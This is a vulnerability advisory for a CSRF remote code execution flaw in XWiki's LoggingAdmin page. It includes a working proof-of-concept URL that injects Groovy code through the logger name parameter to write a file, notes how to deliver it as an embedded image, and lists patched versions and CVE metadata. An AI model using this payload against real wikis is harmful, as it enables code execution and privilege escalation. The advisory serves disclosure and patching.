It is possible to trick a user with programming rights into visiting <xwiki-host>/xwiki/bin/view/XWiki/LoggingAdmin?loggeractionset=1&loggername=%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dnew+File%28%22%2Ftmp%2Fexploit.txt%22%29.withWriter+%7B+out+-%3E+out.println%28%22created+from+notification+filter+preferences%21%22%29%3B+%7D%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D&logger_level=TRACE where <xwiki-host> is the URL of your XWiki installation, e.g., by embedding an image with this URL in a document that is viewed by a user with programming rights.
No file in /tmp/exploit.txt has been created.
The file /tmp/exploit.txt
is been created with content "created from notification filter preferences!". This demonstrates a CSRF remote code execution vulnerability that could also be used for privilege escalation or data leaks (if the XWiki installation can reach remote hosts).
The problem has been patched on XWiki 14.4.7, and 14.10.
The issue can be fixed manually applying this patch.
If you have any questions or comments about this advisory:
{ "nvd_published_at": "2023-04-17T22:15:10Z", "cwe_ids": [ "CWE-352", "CWE-74", "CWE-95" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2023-04-12T20:35:42Z" }